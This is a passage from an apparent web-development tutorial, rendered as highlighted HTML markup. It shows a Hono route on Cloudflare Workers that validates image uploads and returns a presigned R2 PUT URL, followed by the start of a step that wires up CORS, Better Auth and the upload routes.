&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Validate content type (must be image)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;isValidImageType&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(contentType)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        error: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Only image files are allowed&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Generate unique filename using UUID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fileExtension&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getExtensionFromMimeType&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(contentType)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;uniqueFilename&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;randomUUID&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fileExtension&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Create AWS client for R2 using aws4fetch (Workers-compatible)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;aws&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;AwsClient&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      accessKeyId: c.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;R2_ACCESS_KEY_ID&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      secretAccessKey: c.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;R2_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      service: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;s3&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      region: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;auto&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Generate timestamp once to avoid race conditions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;uploadedAt&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toISOString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Construct the R2 bucket URL (correct format for R2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;bucketUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`https://${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;CLOUDFLARE_ACCOUNT_ID&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}.r2.cloudflarestorage.com/gallery/${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;uniqueFilename&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Create a signed request for PUT operation with query string signing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Use minimal headers to avoid signature mismatches&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;signedRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; aws.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;sign&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(bucketUrl, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      method: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;PUT&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      headers: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: contentType,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;x-amz-meta-original-filename&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: filename,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;x-amz-meta-uploaded-by&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: session.user.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;x-amz-meta-uploaded-at&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: uploadedAt,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      aws: { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        signQuery: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      } &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;finalPresignedUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; signedRequest.url&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Return the pre-signed URL and metadata&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      presignedUrl: finalPresignedUrl,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      filename: uniqueFilename,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      originalFilename: filename,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      contentType,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      fileSize,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      expiresIn: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      uploadedBy: session.user.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      uploadedAt: uploadedAt,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (error) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Error generating pre-signed URL:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, error)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      error: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Internal server error&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;uploads&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-7-integrate-routes&quot;&gt;Step 7: Integrate Routes&lt;/h3&gt;
&lt;p&gt;Update &lt;code&gt;src/index.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { Hono } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;hono&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { cors } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;hono/cors&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { auth } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./lib/better-auth&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; uploads &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./routes/uploads&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Hono&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;{ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Bindings&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Env&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// CORS middleware&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;*&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;cors&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  origin: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;*&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  credentials: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  allowMethods: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;GET&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;POST&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;PUT&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DELETE&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;OPTIONS&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  allowHeaders: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Authorization&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Mount Better Auth handler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;GET&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;POST&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/api/auth/*&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;auth&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(c.env).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;handler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(c.req.raw)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Mount uploads routes&lt;/span&gt;&lt;/span&gt;
